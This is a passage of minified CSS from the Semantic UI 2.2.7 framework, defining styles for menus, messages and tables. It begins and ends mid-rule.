1.42857143em;color:rgba(0,0,0,.87)}.ui.tabular.menu .item:before{display:none}.ui.tabular.menu .item:hover{background-color:transparent;color:rgba(0,0,0,.8)}.ui.tabular.menu .active.item{background:none #fff;color:rgba(0,0,0,.95);border-top-width:1px;border-color:#d4d4d5;font-weight:700;margin-bottom:-1px;box-shadow:none;border-radius:.28571429rem .28571429rem 0 0!important}.ui.tabular.menu+.attached:not(.top).segment,.ui.tabular.menu+.attached:not(.top).segment+.attached:not(.top).segment{border-top:none;margin-left:0;margin-top:0;margin-right:0;width:100%}.top.attached.segment+.ui.bottom.tabular.menu{position:relative;width:calc(100% + 2px);left:-1px}.ui.bottom.tabular.menu{background:none transparent;border-radius:0;box-shadow:none!important;border-bottom:none;border-top:1px solid #d4d4d5}.ui.bottom.tabular.menu .item{background:0 0;border-left:1px solid transparent;border-right:1px solid transparent;border-bottom:1px solid transparent;border-top:none}.ui.bottom.tabular.menu .active.item{background:none #fff;color:rgba(0,0,0,.95);border-color:#d4d4d5;margin:-1px 0 0 0;border-radius:0 0 .28571429rem .28571429rem!important}.ui.vertical.tabular.menu{background:none transparent;border-radius:0;box-shadow:none!important;border-bottom:none;border-right:1px solid #d4d4d5}.ui.vertical.tabular.menu .item{background:0 0;border-left:1px solid transparent;border-bottom:1px solid transparent;border-top:1px solid transparent;border-right:none}.ui.vertical.tabular.menu .active.item{background:none #fff;color:rgba(0,0,0,.95);border-color:#d4d4d5;margin:0 -1px 0 0;border-radius:.28571429rem 0 0 .28571429rem!important}.ui.vertical.right.tabular.menu{background:none transparent;border-radius:0;box-shadow:none!important;border-bottom:none;border-right:none;border-left:1px solid #d4d4d5}.ui.vertical.right.tabular.menu .item{background:0 0;border-right:1px solid transparent;border-bottom:1px solid transparent;border-top:1px solid transparent;border-left:none}.ui.vertical.right.tabular.menu .active.item{background:none #fff;color:rgba(0,0,0,.95);border-color:#d4d4d5;margin:0 0 0 -1px;border-radius:0 .28571429rem .28571429rem 0!important}.ui.tabular.menu .active.dropdown.item{margin-bottom:0;border-left:1px solid transparent;border-right:1px solid transparent;border-top:2px solid transparent;border-bottom:none}.ui.pagination.menu{margin:0;display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;vertical-align:middle}.ui.pagination.menu .item:last-child{border-radius:0 .28571429rem .28571429rem 0}.ui.compact.menu .item:last-child{border-radius:0 .28571429rem .28571429rem 0}.ui.pagination.menu .item:last-child:before{display:none}.ui.pagination.menu .item{min-width:3em;text-align:center}.ui.pagination.menu .icon.item i.icon{vertical-align:top}.ui.pagination.menu .active.item{border-top:none;padding-top:.92857143em;background-color:rgba(0,0,0,.05);color:rgba(0,0,0,.95);box-shadow:none}.ui.secondary.menu{background:0 0;margin-left:-.35714286em;margin-right:-.35714286em;border-radius:0;border:none;box-shadow:none}.ui.secondary.menu .item{-ms-flex-item-align:center;-ms-grid-row-align:center;align-self:center;box-shadow:none;border:none;padding:.78571429em .92857143em;margin:0 .35714286em;background:0 0;-webkit-transition:color .1s ease;transition:color .1s ease;border-radius:.28571429rem}.ui.secondary.menu .item:before{display:none!important}.ui.secondary.menu .header.item{border-radius:0;border-right:none;background:none transparent}.ui.secondary.menu .item>img:not(.ui){margin:0}.ui.secondary.menu .dropdown.item:hover,.ui.secondary.menu .link.item:hover,.ui.secondary.menu a.item:hover{background:rgba(0,0,0,.05);color:rgba(0,0,0,.95)}.ui.secondary.menu .active.item{box-shadow:none;background:rgba(0,0,0,.05);color:rgba(0,0,0,.95);border-radius:.28571429rem}.ui.secondary.menu .active.item:hover{box-shadow:none;background:rgba(0,0,0,.05);color:rgba(0,0,0,.95)}.ui.secondary.inverted.menu .link.item,.ui.secondary.inverted.menu a.item{color:rgba(255,255,255,.7)!important}.ui.secondary.inverted.menu .dropdown.item:hover,.ui.secondary.inverted.menu .link.item:hover,.ui.secondary.inverted.menu a.item:hover{background:rgba(255,255,255,.08);color:#fff!important}.ui.secondary.inverted.menu .active.item{background:rgba(255,255,255,.15);color:#fff!important}.ui.secondary.item.menu{margin-left:0;margin-right:0}.ui.secondary.item.menu .item:last-child{margin-right:0}.ui.secondary.attached.menu{box-shadow:none}.ui.vertical.secondary.menu .item:not(.dropdown)>.menu{margin:0 -.92857143em}.ui.vertical.secondary.menu .item:not(.dropdown)>.menu>.item{margin:0;padding:.5em 1.33333333em}.ui.secondary.vertical.menu>.item{border:none;margin:0 0 .35714286em;border-radius:.28571429rem!important}.ui.secondary.vertical.menu>.header.item{border-radius:0}.ui.vertical.secondary.menu .item>.menu .item{background-color:transparent}.ui.secondary.inverted.menu{background-color:transparent}.ui.secondary.pointing.menu{margin-left:0;margin-right:0;border-bottom:2px solid rgba(34,36,38,.15)}.ui.secondary.pointing.menu .item{border-bottom-color:transparent;border-bottom-style:solid;border-radius:0;-ms-flex-item-align:end;align-self:flex-end;margin:0 0 -2px;padding:.85714286em 1.14285714em;border-bottom-width:2px;-webkit-transition:color .1s ease;transition:color .1s ease}.ui.secondary.pointing.menu .header.item{color:rgba(0,0,0,.85)!important}.ui.secondary.pointing.menu .text.item{box-shadow:none!important}.ui.secondary.pointing.menu .item:after{display:none}.ui.secondary.pointing.menu .dropdown.item:hover,.ui.secondary.pointing.menu .link.item:hover,.ui.secondary.pointing.menu a.item:hover{background-color:transparent;color:rgba(0,0,0,.87)}.ui.secondary.pointing.menu .dropdown.item:active,.ui.secondary.pointing.menu .link.item:active,.ui.secondary.pointing.menu a.item:active{background-color:transparent;border-color:rgba(34,36,38,.15)}.ui.secondary.pointing.menu .active.item{background-color:transparent;box-shadow:none;border-color:#1b1c1d;font-weight:700;color:rgba(0,0,0,.95)}.ui.secondary.pointing.menu .active.item:hover{border-color:#1b1c1d;color:rgba(0,0,0,.95)}.ui.secondary.pointing.menu .active.dropdown.item{border-color:transparent}.ui.secondary.vertical.pointing.menu{border-bottom-width:0;border-right-width:2px;border-right-style:solid;border-right-color:rgba(34,36,38,.15)}.ui.secondary.vertical.pointing.menu .item{border-bottom:none;border-right-style:solid;border-right-color:transparent;border-radius:0!important;margin:0 -2px 0 0;border-right-width:2px}.ui.secondary.vertical.pointing.menu .active.item{border-color:#1b1c1d}.ui.secondary.inverted.pointing.menu{border-color:rgba(255,255,255,.1)}.ui.secondary.inverted.pointing.menu{border-width:2px;border-color:rgba(34,36,38,.15)}.ui.secondary.inverted.pointing.menu .item{color:rgba(255,255,255,.9)}.ui.secondary.inverted.pointing.menu .header.item{color:#fff!important}.ui.secondary.inverted.pointing.menu .link.item:hover,.ui.secondary.inverted.pointing.menu a.item:hover{color:rgba(0,0,0,.95)}.ui.secondary.inverted.pointing.menu .active.item{border-color:#fff;color:#fff}.ui.text.menu{background:none transparent;border-radius:0;box-shadow:none;border:none;margin:1em -.5em}.ui.text.menu .item{border-radius:0;box-shadow:none;-ms-flex-item-align:center;-ms-grid-row-align:center;align-self:center;margin:0 0;padding:.35714286em .5em;font-weight:400;color:rgba(0,0,0,.6);-webkit-transition:opacity .1s ease;transition:opacity .1s ease}.ui.text.menu .item:before,.ui.text.menu .menu .item:before{display:none!important}.ui.text.menu .header.item{background-color:transparent;opacity:1;color:rgba(0,0,0,.85);font-size:.92857143em;text-transform:uppercase;font-weight:700}.ui.text.menu .item>img:not(.ui){margin:0}.ui.text.item.menu .item{margin:0}.ui.vertical.text.menu{margin:1em 0}.ui.vertical.text.menu:first-child{margin-top:0}.ui.vertical.text.menu:last-child{margin-bottom:0}.ui.vertical.text.menu .item{margin:.57142857em 0;padding-left:0;padding-right:0}.ui.vertical.text.menu .item>i.icon{float:none;margin:0 .35714286em 0 0}.ui.vertical.text.menu .header.item{margin:.57142857em 0 .71428571em}.ui.vertical.text.menu .item:not(.dropdown)>.menu{margin:0}.ui.vertical.text.menu .item:not(.dropdown)>.menu>.item{margin:0;padding:.5em 0}.ui.text.menu .item:hover{opacity:1;background-color:transparent}.ui.text.menu .active.item{background-color:transparent;border:none;box-shadow:none;font-weight:400;color:rgba(0,0,0,.95)}.ui.text.menu .active.item:hover{background-color:transparent}.ui.text.pointing.menu .active.item:after{box-shadow:none}.ui.text.attached.menu{box-shadow:none}.ui.inverted.text.menu,.ui.inverted.text.menu .active.item,.ui.inverted.text.menu .item,.ui.inverted.text.menu .item:hover{background-color:transparent!important}.ui.fluid.text.menu{margin-left:0;margin-right:0}.ui.vertical.icon.menu{display:inline-block;width:auto}.ui.icon.menu .item{height:auto;text-align:center;color:#1b1c1d}.ui.icon.menu .item>.icon:not(.dropdown){margin:0;opacity:1}.ui.icon.menu .icon:before{opacity:1}.ui.menu .icon.item>.icon{width:auto;margin:0 auto}.ui.vertical.icon.menu .item>.icon:not(.dropdown){display:block;opacity:1;margin:0 auto;float:none}.ui.inverted.icon.menu .item{color:#fff}.ui.labeled.icon.menu{text-align:center}.ui.labeled.icon.menu .item{min-width:6em;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column}.ui.labeled.icon.menu .item>.icon:not(.dropdown){height:1em;display:block;font-size:1.71428571em!important;margin:0 auto .5rem!important}.ui.fluid.labeled.icon.menu>.item{min-width:0}@media only screen and (max-width:767px){.ui.stackable.menu{-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column}.ui.stackable.menu .item{width:100%!important}.ui.stackable.menu .item:before{position:absolute;content:'';top:auto;bottom:0;left:0;width:100%;height:1px;background:rgba(34,36,38,.1)}.ui.stackable.menu .left.item,.ui.stackable.menu .left.menu{margin-right:0!important}.ui.stackable.menu .right.item,.ui.stackable.menu .right.menu{margin-left:0!important}}.ui.menu .red.active.item,.ui.red.menu .active.item{border-color:#db2828!important;color:#db2828!important}.ui.menu .orange.active.item,.ui.orange.menu .active.item{border-color:#f2711c!important;color:#f2711c!important}.ui.menu .yellow.active.item,.ui.yellow.menu .active.item{border-color:#fbbd08!important;color:#fbbd08!important}.ui.menu .olive.active.item,.ui.olive.menu .active.item{border-color:#b5cc18!important;color:#b5cc18!important}.ui.green.menu .active.item,.ui.menu .green.active.item{border-color:#21ba45!important;color:#21ba45!important}.ui.menu .teal.active.item,.ui.teal.menu .active.item{border-color:#00b5ad!important;color:#00b5ad!important}.ui.blue.menu .active.item,.ui.menu .blue.active.item{border-color:#2185d0!important;color:#2185d0!important}.ui.menu .violet.active.item,.ui.violet.menu .active.item{border-color:#6435c9!important;color:#6435c9!important}.ui.menu .purple.active.item,.ui.purple.menu .active.item{border-color:#a333c8!important;color:#a333c8!important}.ui.menu .pink.active.item,.ui.pink.menu .active.item{border-color:#e03997!important;color:#e03997!important}.ui.brown.menu .active.item,.ui.menu .brown.active.item{border-color:#a5673f!important;color:#a5673f!important}.ui.grey.menu .active.item,.ui.menu .grey.active.item{border-color:#767676!important;color:#767676!important}.ui.inverted.menu{border:0 solid transparent;background:#1b1c1d;box-shadow:none}.ui.inverted.menu .item,.ui.inverted.menu .item>a:not(.ui){background:0 0;color:rgba(255,255,255,.9)}.ui.inverted.menu .item.menu{background:0 0}.ui.inverted.menu .item:before{background:rgba(255,255,255,.08)}.ui.vertical.inverted.menu .item:before{background:rgba(255,255,255,.08)}.ui.vertical.inverted.menu .menu .item,.ui.vertical.inverted.menu .menu .item a:not(.ui){color:rgba(255,255,255,.5)}.ui.inverted.menu .header.item{margin:0;background:0 0;box-shadow:none}.ui.inverted.menu .item.disabled,.ui.inverted.menu .item.disabled:hover{color:rgba(225,225,225,.3)}.ui.inverted.menu .dropdown.item:hover,.ui.inverted.menu .link.item:hover,.ui.inverted.menu a.item:hover,.ui.link.inverted.menu .item:hover{background:rgba(255,255,255,.08);color:#fff}.ui.vertical.inverted.menu .item .menu .link.item:hover,.ui.vertical.inverted.menu .item .menu a.item:hover{background:0 0;color:#fff}.ui.inverted.menu .link.item:active,.ui.inverted.menu a.item:active{background:rgba(255,255,255,.08);color:#fff}.ui.inverted.menu .active.item{background:rgba(255,255,255,.15);color:#fff!important}.ui.inverted.vertical.menu .item .menu .active.item{background:0 0;color:#fff}.ui.inverted.pointing.menu .active.item:after{background:#3d3e3f!important;margin:0!important;box-shadow:none!important;border:none!important}.ui.inverted.menu .active.item:hover{background:rgba(255,255,255,.15);color:#fff!important}.ui.inverted.pointing.menu .active.item:hover:after{background:#3d3e3f!important}.ui.floated.menu{float:left;margin:0 .5rem 0 0}.ui.floated.menu .item:last-child:before{display:none}.ui.right.floated.menu{float:right;margin:0 0 0 .5rem}.ui.inverted.menu .red.active.item,.ui.inverted.red.menu{background-color:#db2828}.ui.inverted.red.menu .item:before{background-color:rgba(34,36,38,.1)}.ui.inverted.red.menu .active.item{background-color:rgba(0,0,0,.1)!important}.ui.inverted.menu .orange.active.item,.ui.inverted.orange.menu{background-color:#f2711c}.ui.inverted.orange.menu .item:before{background-color:rgba(34,36,38,.1)}.ui.inverted.orange.menu .active.item{background-color:rgba(0,0,0,.1)!important}.ui.inverted.menu .yellow.active.item,.ui.inverted.yellow.menu{background-color:#fbbd08}.ui.inverted.yellow.menu .item:before{background-color:rgba(34,36,38,.1)}.ui.inverted.yellow.menu .active.item{background-color:rgba(0,0,0,.1)!important}.ui.inverted.menu .olive.active.item,.ui.inverted.olive.menu{background-color:#b5cc18}.ui.inverted.olive.menu .item:before{background-color:rgba(34,36,38,.1)}.ui.inverted.olive.menu .active.item{background-color:rgba(0,0,0,.1)!important}.ui.inverted.green.menu,.ui.inverted.menu .green.active.item{background-color:#21ba45}.ui.inverted.green.menu .item:before{background-color:rgba(34,36,38,.1)}.ui.inverted.green.menu .active.item{background-color:rgba(0,0,0,.1)!important}.ui.inverted.menu .teal.active.item,.ui.inverted.teal.menu{background-color:#00b5ad}.ui.inverted.teal.menu .item:before{background-color:rgba(34,36,38,.1)}.ui.inverted.teal.menu .active.item{background-color:rgba(0,0,0,.1)!important}.ui.inverted.blue.menu,.ui.inverted.menu .blue.active.item{background-color:#2185d0}.ui.inverted.blue.menu .item:before{background-color:rgba(34,36,38,.1)}.ui.inverted.blue.menu .active.item{background-color:rgba(0,0,0,.1)!important}.ui.inverted.menu .violet.active.item,.ui.inverted.violet.menu{background-color:#6435c9}.ui.inverted.violet.menu .item:before{background-color:rgba(34,36,38,.1)}.ui.inverted.violet.menu .active.item{background-color:rgba(0,0,0,.1)!important}.ui.inverted.menu .purple.active.item,.ui.inverted.purple.menu{background-color:#a333c8}.ui.inverted.purple.menu .item:before{background-color:rgba(34,36,38,.1)}.ui.inverted.purple.menu .active.item{background-color:rgba(0,0,0,.1)!important}.ui.inverted.menu .pink.active.item,.ui.inverted.pink.menu{background-color:#e03997}.ui.inverted.pink.menu .item:before{background-color:rgba(34,36,38,.1)}.ui.inverted.pink.menu .active.item{background-color:rgba(0,0,0,.1)!important}.ui.inverted.brown.menu,.ui.inverted.menu .brown.active.item{background-color:#a5673f}.ui.inverted.brown.menu .item:before{background-color:rgba(34,36,38,.1)}.ui.inverted.brown.menu .active.item{background-color:rgba(0,0,0,.1)!important}.ui.inverted.grey.menu,.ui.inverted.menu .grey.active.item{background-color:#767676}.ui.inverted.grey.menu .item:before{background-color:rgba(34,36,38,.1)}.ui.inverted.grey.menu .active.item{background-color:rgba(0,0,0,.1)!important}.ui.fitted.menu .item,.ui.fitted.menu .item .menu .item,.ui.menu .fitted.item{padding:0}.ui.horizontally.fitted.menu .item,.ui.horizontally.fitted.menu .item .menu .item,.ui.menu .horizontally.fitted.item{padding-top:.92857143em;padding-bottom:.92857143em}.ui.menu .vertically.fitted.item,.ui.vertically.fitted.menu .item,.ui.vertically.fitted.menu .item .menu .item{padding-left:1.14285714em;padding-right:1.14285714em}.ui.borderless.menu .item .menu .item:before,.ui.borderless.menu .item:before,.ui.menu .borderless.item:before{background:0 0!important}.ui.compact.menu{display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;margin:0;vertical-align:middle}.ui.compact.vertical.menu{display:inline-block}.ui.compact.menu .item:last-child{border-radius:0 .28571429rem .28571429rem 0}.ui.compact.menu .item:last-child:before{display:none}.ui.compact.vertical.menu{width:auto!important}.ui.compact.vertical.menu .item:last-child::before{display:block}.ui.menu.fluid,.ui.vertical.menu.fluid{width:100%!important}.ui.item.menu,.ui.item.menu .item{width:100%;padding-left:0!important;padding-right:0!important;margin-left:0!important;margin-right:0!important;text-align:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center}.ui.item.menu .item:last-child:before{display:none}.ui.menu.two.item .item{width:50%}.ui.menu.three.item .item{width:33.333%}.ui.menu.four.item .item{width:25%}.ui.menu.five.item .item{width:20%}.ui.menu.six.item .item{width:16.666%}.ui.menu.seven.item .item{width:14.285%}.ui.menu.eight.item .item{width:12.5%}.ui.menu.nine.item .item{width:11.11%}.ui.menu.ten.item .item{width:10%}.ui.menu.eleven.item .item{width:9.09%}.ui.menu.twelve.item .item{width:8.333%}.ui.menu.fixed{position:fixed;z-index:101;margin:0;width:100%}.ui.menu.fixed,.ui.menu.fixed .item:first-child,.ui.menu.fixed .item:last-child{border-radius:0!important}.ui.fixed.menu,.ui[class*="top fixed"].menu{top:0;left:0;right:auto;bottom:auto}.ui[class*="top fixed"].menu{border-top:none;border-left:none;border-right:none}.ui[class*="right fixed"].menu{border-top:none;border-bottom:none;border-right:none;top:0;right:0;left:auto;bottom:auto;width:auto;height:100%}.ui[class*="bottom fixed"].menu{border-bottom:none;border-left:none;border-right:none;bottom:0;left:0;top:auto;right:auto}.ui[class*="left fixed"].menu{border-top:none;border-bottom:none;border-left:none;top:0;left:0;right:auto;bottom:auto;width:auto;height:100%}.ui.fixed.menu+.ui.grid{padding-top:2.75rem}.ui.pointing.menu .item:after{visibility:hidden;position:absolute;content:'';top:100%;left:50%;-webkit-transform:translateX(-50%) translateY(-50%) rotate(45deg);transform:translateX(-50%) translateY(-50%) rotate(45deg);background:0 0;margin:.5px 0 0;width:.57142857em;height:.57142857em;border:none;border-bottom:1px solid #d4d4d5;border-right:1px solid #d4d4d5;z-index:2;-webkit-transition:background .1s ease;transition:background .1s ease}.ui.vertical.pointing.menu .item:after{position:absolute;top:50%;right:0;bottom:auto;left:auto;-webkit-transform:translateX(50%) translateY(-50%) rotate(45deg);transform:translateX(50%) translateY(-50%) rotate(45deg);margin:0 -.5px 0 0;border:none;border-top:1px solid #d4d4d5;border-right:1px solid #d4d4d5}.ui.pointing.menu .active.item:after{visibility:visible}.ui.pointing.menu .active.dropdown.item:after{visibility:hidden}.ui.pointing.menu .active.item .menu .active.item:after,.ui.pointing.menu .dropdown.active.item:after{display:none}.ui.pointing.menu .active.item:hover:after{background-color:#f2f2f2}.ui.pointing.menu .active.item:after{background-color:#f2f2f2}.ui.pointing.menu .active.item:hover:after{background-color:#f2f2f2}.ui.vertical.pointing.menu .active.item:hover:after{background-color:#f2f2f2}.ui.vertical.pointing.menu .active.item:after{background-color:#f2f2f2}.ui.vertical.pointing.menu .menu .active.item:after{background-color:#fff}.ui.attached.menu{top:0;bottom:0;border-radius:0;margin:0 -1px;width:calc(100% + 2px);max-width:calc(100% + 2px);box-shadow:none}.ui.attached+.ui.attached.menu:not(.top){border-top:none}.ui[class*="top attached"].menu{bottom:0;margin-bottom:0;top:0;margin-top:1rem;border-radius:.28571429rem .28571429rem 0 0}.ui.menu[class*="top attached"]:first-child{margin-top:0}.ui[class*="bottom attached"].menu{bottom:0;margin-top:0;top:0;margin-bottom:1rem;box-shadow:0 1px 2px 0 rgba(34,36,38,.15),none;border-radius:0 0 .28571429rem .28571429rem}.ui[class*="bottom attached"].menu:last-child{margin-bottom:0}.ui.top.attached.menu>.item:first-child{border-radius:.28571429rem 0 0 0}.ui.bottom.attached.menu>.item:first-child{border-radius:0 0 0 .28571429rem}.ui.attached.menu:not(.tabular){border:1px solid #d4d4d5}.ui.attached.inverted.menu{border:none}.ui.attached.tabular.menu{margin-left:0;margin-right:0;width:100%}.ui.mini.menu{font-size:.78571429rem}.ui.mini.vertical.menu{width:9rem}.ui.tiny.menu{font-size:.85714286rem}.ui.tiny.vertical.menu{width:11rem}.ui.small.menu{font-size:.92857143rem}.ui.small.vertical.menu{width:13rem}.ui.menu{font-size:1rem}.ui.vertical.menu{width:15rem}.ui.large.menu{font-size:1.07142857rem}.ui.large.vertical.menu{width:18rem}.ui.huge.menu{font-size:1.14285714rem}.ui.huge.vertical.menu{width:20rem}.ui.big.menu{font-size:1.21428571rem}.ui.big.vertical.menu{width:22rem}.ui.massive.menu{font-size:1.28571429rem}.ui.massive.vertical.menu{width:25rem}/*! * # Semantic UI 2.2.7 - Message * path_to_url * * * Released under the MIT license * path_to_url * */.ui.message{position:relative;min-height:1em;margin:1em 0;background:#f8f8f9;padding:1em 1.5em;line-height:1.4285em;color:rgba(0,0,0,.87);-webkit-transition:opacity .1s ease,color .1s ease,background .1s ease,box-shadow .1s ease;transition:opacity .1s ease,color .1s ease,background .1s ease,box-shadow .1s ease;border-radius:.28571429rem;box-shadow:0 0 0 1px rgba(34,36,38,.22) inset,0 0 0 0 transparent}.ui.message:first-child{margin-top:0}.ui.message:last-child{margin-bottom:0}.ui.message .header{display:block;font-family:Lato,'Helvetica Neue',Arial,Helvetica,sans-serif;font-weight:700;margin:-.14285em 0 0 0}.ui.message .header:not(.ui){font-size:1.14285714em}.ui.message p{opacity:.85;margin:.75em 0}.ui.message p:first-child{margin-top:0}.ui.message p:last-child{margin-bottom:0}.ui.message .header+p{margin-top:.25em}.ui.message .list:not(.ui){text-align:left;padding:0;opacity:.85;list-style-position:inside;margin:.5em 0 0}.ui.message .list:not(.ui):first-child{margin-top:0}.ui.message .list:not(.ui):last-child{margin-bottom:0}.ui.message .list:not(.ui) li{position:relative;list-style-type:none;margin:0 0 .3em 1em;padding:0}.ui.message .list:not(.ui) li:before{position:absolute;content:'';left:-1em;height:100%;vertical-align:baseline}.ui.message .list:not(.ui) li:last-child{margin-bottom:0}.ui.message>.icon{margin-right:.6em}.ui.message>.close.icon{cursor:pointer;position:absolute;margin:0;top:.78575em;right:.5em;opacity:.7;-webkit-transition:opacity .1s ease;transition:opacity .1s ease}.ui.message>.close.icon:hover{opacity:1}.ui.message>:first-child{margin-top:0}.ui.message>:last-child{margin-bottom:0}.ui.dropdown .menu>.message{margin:0 -1px}.ui.visible.visible.visible.visible.message{display:block}.ui.icon.visible.visible.visible.visible.message{display:-webkit-box;display:-ms-flexbox;display:flex}.ui.hidden.hidden.hidden.hidden.message{display:none}.ui.compact.message{display:inline-block}.ui.attached.message{margin-bottom:-1px;border-radius:.28571429rem .28571429rem 0 0;box-shadow:0 0 0 1px rgba(34,36,38,.15) inset;margin-left:-1px;margin-right:-1px}.ui.attached+.ui.attached.message:not(.top):not(.bottom){margin-top:-1px;border-radius:0}.ui.bottom.attached.message{margin-top:-1px;border-radius:0 0 .28571429rem .28571429rem;box-shadow:0 0 0 1px rgba(34,36,38,.15) inset,0 1px 2px 0 rgba(34,36,38,.15)}.ui.bottom.attached.message:not(:last-child){margin-bottom:1em}.ui.attached.icon.message{width:auto}.ui.icon.message{display:-webkit-box;display:-ms-flexbox;display:flex;width:100%;-webkit-box-align:center;-ms-flex-align:center;align-items:center}.ui.icon.message>.icon:not(.close){display:block;-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;width:auto;line-height:1;vertical-align:middle;font-size:3em;opacity:.8}.ui.icon.message>.content{display:block;-webkit-box-flex:1;-ms-flex:1 1 auto;flex:1 1 auto;vertical-align:middle}.ui.icon.message .icon:not(.close)+.content{padding-left:0}.ui.icon.message .circular.icon{width:1em}.ui.floating.message{box-shadow:0 0 0 1px rgba(34,36,38,.22) inset,0 2px 4px 0 rgba(34,36,38,.12),0 2px 10px 0 rgba(34,36,38,.15)}.ui.black.message{background-color:#1b1c1d;color:rgba(255,255,255,.9)}.ui.positive.message{background-color:#fcfff5;color:#2c662d}.ui.attached.positive.message,.ui.positive.message{box-shadow:0 0 0 1px #a3c293 inset,0 0 0 0 transparent}.ui.positive.message .header{color:#1a531b}.ui.negative.message{background-color:#fff6f6;color:#9f3a38}.ui.attached.negative.message,.ui.negative.message{box-shadow:0 0 0 1px #e0b4b4 inset,0 0 0 0 transparent}.ui.negative.message .header{color:#912d2b}.ui.info.message{background-color:#f8ffff;color:#276f86}.ui.attached.info.message,.ui.info.message{box-shadow:0 0 0 1px #a9d5de inset,0 0 0 0 transparent}.ui.info.message .header{color:#0e566c}.ui.warning.message{background-color:#fffaf3;color:#573a08}.ui.attached.warning.message,.ui.warning.message{box-shadow:0 0 0 1px #c9ba9b inset,0 0 0 0 transparent}.ui.warning.message .header{color:#794b02}.ui.error.message{background-color:#fff6f6;color:#9f3a38}.ui.attached.error.message,.ui.error.message{box-shadow:0 0 0 1px #e0b4b4 inset,0 0 0 0 transparent}.ui.error.message .header{color:#912d2b}.ui.success.message{background-color:#fcfff5;color:#2c662d}.ui.attached.success.message,.ui.success.message{box-shadow:0 0 0 1px #a3c293 inset,0 0 0 0 transparent}.ui.success.message .header{color:#1a531b}.ui.black.message,.ui.inverted.message{background-color:#1b1c1d;color:rgba(255,255,255,.9)}.ui.red.message{background-color:#ffe8e6;color:#db2828;box-shadow:0 0 0 1px #db2828 inset,0 0 0 0 transparent}.ui.red.message .header{color:#c82121}.ui.orange.message{background-color:#ffedde;color:#f2711c;box-shadow:0 0 0 1px #f2711c inset,0 0 0 0 transparent}.ui.orange.message .header{color:#e7640d}.ui.yellow.message{background-color:#fff8db;color:#b58105;box-shadow:0 0 0 1px #b58105 inset,0 0 0 0 transparent}.ui.yellow.message .header{color:#9c6f04}.ui.olive.message{background-color:#fbfdef;color:#8abc1e;box-shadow:0 0 0 1px #8abc1e inset,0 0 0 0 transparent}.ui.olive.message .header{color:#7aa61a}.ui.green.message{background-color:#e5f9e7;color:#1ebc30;box-shadow:0 0 0 1px #1ebc30 inset,0 0 0 0 transparent}.ui.green.message .header{color:#1aa62a}.ui.teal.message{background-color:#e1f7f7;color:#10a3a3;box-shadow:0 0 0 1px #10a3a3 inset,0 0 0 0 transparent}.ui.teal.message .header{color:#0e8c8c}.ui.blue.message{background-color:#dff0ff;color:#2185d0;box-shadow:0 0 0 1px #2185d0 inset,0 0 0 0 transparent}.ui.blue.message .header{color:#1e77ba}.ui.violet.message{background-color:#eae7ff;color:#6435c9;box-shadow:0 0 0 1px #6435c9 inset,0 0 0 0 transparent}.ui.violet.message .header{color:#5a30b5}.ui.purple.message{background-color:#f6e7ff;color:#a333c8;box-shadow:0 0 0 1px #a333c8 inset,0 0 0 0 transparent}.ui.purple.message .header{color:#922eb4}.ui.pink.message{background-color:#ffe3fb;color:#e03997;box-shadow:0 0 0 1px #e03997 inset,0 0 0 0 transparent}.ui.pink.message .header{color:#dd238b}.ui.brown.message{background-color:#f1e2d3;color:#a5673f;box-shadow:0 0 0 1px #a5673f inset,0 0 0 0 transparent}.ui.brown.message .header{color:#935b38}.ui.mini.message{font-size:.78571429em}.ui.tiny.message{font-size:.85714286em}.ui.small.message{font-size:.92857143em}.ui.message{font-size:1em}.ui.large.message{font-size:1.14285714em}.ui.big.message{font-size:1.28571429em}.ui.huge.message{font-size:1.42857143em}.ui.massive.message{font-size:1.71428571em}/*! * # Semantic UI 2.2.7 - Table * path_to_url * * * Released under the MIT license * path_to_url * */.ui.table{width:100%;background:#fff;margin:1em 0;border:1px solid rgba(34,36,38,.15);box-shadow:none;border-radius:.28571429rem;text-align:left;color:rgba(0,0,0,.87);border-collapse:separate;border-spacing:0}.ui.table:first-child{margin-top:0}.ui.table:last-child{margin-bottom:0}.ui.table td,.ui.table th{-webkit-transition:background .1s ease,color .1s ease;transition:background .1s ease,color .1s ease}.ui.table thead{box-shadow:none}.ui.table thead th{cursor:auto;background:#f9fafb;text-align:inherit;color:rgba(0,0,0,.87);padding:.92857143em .78571429em;vertical-align:inherit;font-style:none;font-weight:700;text-transform:none;border-bottom:1px solid rgba(34,36,38,.1);border-left:none}.ui.table thead tr>th:first-child{border-left:none}.ui.table thead tr:first-child>th:first-child{border-radius:.28571429rem 0 0 0}.ui.table thead tr:first-child>th:last-child{border-radius:0 .28571429rem 0 0}.ui.table thead tr:first-child>th:only-child{border-radius:.28571429rem .28571429rem 0 0}.ui.table tfoot{box-shadow:none}.ui.table tfoot th{cursor:auto;border-top:1px solid rgba(34,36,38,.15);background:#f9fafb;text-align:inherit;color:rgba(0,0,0,.87);padding:.78571429em .78571429em;vertical-align:middle;font-style:normal;font-weight:400;text-transform:none}.ui.table tfoot tr>th:first-child{border-left:none}.ui.table tfoot tr:first-child>th:first-child{border-radius:0 0 0 .28571429rem}.ui.table tfoot tr:first-child>th:last-child{border-radius:0 0 .28571429rem 0}.ui.table tfoot tr:first-child>th:only-child{border-radius:0 0 .28571429rem .28571429rem}.ui.table tr td{border-top:1px solid rgba(34,36,38,.1)}.ui.table tr:first-child td{border-top:none}.ui.table td{padding:.78571429em .78571429em;text-align:inherit}.ui.table>.icon{vertical-align:baseline}.ui.table>.icon:only-child{margin:0}.ui.table.segment{padding:0}.ui.table.segment:after{display:none}.ui.table.segment.stacked:after{display:block}@media only screen and (max-width:767px){.ui.table:not(.unstackable){width:100%}.ui.table:not(.unstackable) tbody,.ui.table:not(.unstackable) tr,.ui.table:not(.unstackable) tr>td,.ui.table:not(.unstackable) tr>th{width:auto!important;display:block!important}.ui.table:not(.unstackable){padding:0}.ui.table:not(.unstackable) thead{display:block}.ui.table:not(.unstackable) tfoot{display:block}.ui.table:not(.unstackable) tr{padding-top:1em;padding-bottom:1em;box-shadow:0 -1px 0 0 rgba(0,0,0,.1) inset!important}.ui.table:not(.unstackable) tr>td,.ui.table:not(.unstackable) tr>th{background:0 0;border:none!important;padding:.25em .75em!important;box-shadow:none!important}.ui.table:not(.unstackable) td:first-child,.ui.table:not(.unstackable) 